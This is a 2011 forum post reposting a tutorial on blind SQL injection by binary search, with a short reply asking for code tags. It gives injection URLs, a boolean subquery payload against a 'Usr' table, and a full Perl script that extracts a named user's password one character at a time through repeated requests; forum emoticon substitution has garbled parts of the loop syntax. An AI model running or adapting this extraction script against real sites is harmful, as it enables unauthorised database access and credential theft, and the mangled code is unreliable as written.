SilentPH Posted May 16, 2011 Report Posted May 16, 2011 (edited) Using Binary Search with SQL InjectionWith SQL Injection one may perform many cool attacks on a web site.This text will not tell you how, as it assumes you're already familiarwith advanced SQL Injection.Getting access to information using SQL Injection is sometimestrivial, and sometimes hard. How hard it is depends on many factors,such as: Is it possible to use UNION SELECT? Is it possible to batchrequests in order to INSERT or UPDATE something based on subselects?The following presents a method to get access to values of textualdatabase fields when neither batched queries nor UNION SELECT willhelp. There are a few requirements, though. And often thoserequirements are not met, so you may view this text as purelytheoretical if you wish.Let's say I know* that the database in question has a table called "Usr". The tablehas a "UserName" column containing user names, and a "Password"column containing (clear-text, shame on them) passwords. The"UserName" column contains unique values.* that there's a user named "john".* that SQL Injection is possible on some page, and that I may add aboolean clause and use the page contents as an indicator ofwhether the clause was TRUE or FALSE.The following URL would display some page contents, for instance anews article with ID 123:Code:http://somesite.example/foo.php?id=123+AND+1=1while the following would display some other contents, forinstance _not_ the article with ID 123:Code:http://somesite.example/foo.php?id=123+AND+1=0Given the above, it will be possible to find John's password using aseries of requests. Have a look at the following boolean part:Code:AND (SELECT COUNT( *) FROM Usr WHERE UserName = 'john' AND Password >= 'f') = 1The expression contains a subselect that counts the number of johnshaving a password textually greater than or equal to 'f'. It alsocontains a check to see if the count is exactly one (it will be zeroor one, as the "UserName" column is unique).Now, if we add this boolean expression to the URL, and the resultingpage contains what it contains only if the expression is true, weknown that John's password is textually greater than or equal to 'f'.We may, of course, do similar tests for less than and equality, makingit possible to do a binary search in which we search for longer andlonger text strings until a complete match is found.Below is a sample Perl program (written in a hurry without thinking,not tested much, may contain bugs) to do such a search. The programfinds the password 'TopSecret' using only 106 requests.(Even though I used user names and passwords in the example, theapproach would work for other kinds of data as well, as long as it ispossible to lock in on a single row in the target table.)Code:#!/usr/bin/perl -wuse LWP::Simple;$baseurl = "http://somesite.example/foo.php?id=123";$sqlinject = "+AND+(SELECT+COUNT( *)+FROM+Usr" . "+WHERE+UserName='john'+AND+%s)=1";$url = $baseurl . $sqlinject;$field = "Password";$mustcontain = "some text that is only visible when boolean is TRUE";$numrequests = 0;sub sqlstr { # this sub depends on the target database my($s) = @_; $s =~ s/\'/\'\'/g; $s =~ s/\\/\\\\/g; return "'" . $s . "'";}sub urlenc { my($s) = @_; $s =~ s/([\000-\037\177-\377<>\"\#%{}|\\^~\[\]\`;\/?:@=&+])/ sprintf("%%%02X", ord($1))/ge; $s =~ s/ /+/g; return $s;}sub wget { my($url) = @_; $html = LWP::Simple::get($u); if (!defined($html)) { print "unable to connect\n"; exit 1; } ++$numrequests; return $html;}$stem = "";for (;Wink { $min = 1; $max = 254; for (;Wink { $c = $min + int(($max - $min) / 2); $c2 = $c + 1; $value = $stem . chr($c); $value2 = $stem . chr($c2); $u = sprintf($url, &urlenc(" " . $field . "<" . &sqlstr($value))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { $max = $c - 1; } else { $u = sprintf($url, &urlenc(" " . $field . ">=" . &sqlstr($value2))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { $min = $c + 1; } else { $stem .= chr($c); last; } } if ($max < $min) { print "huh?\n"; exit 1; } } $u = sprintf($url, &urlenc(" " . $field . "=" . &sqlstr($stem))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { print $field . " is \"" . $stem . "\" (" . $numrequests . " requests)\n"; last; }}Tutorial made by Sverre H. Huseby Edited May 16, 2011 by SilentPH 1 Quote
Paul4games Posted May 16, 2011 Report Posted May 16, 2011 Te rog adauga tagurile la fiecare cod ca sa se poata citi calumea. Quote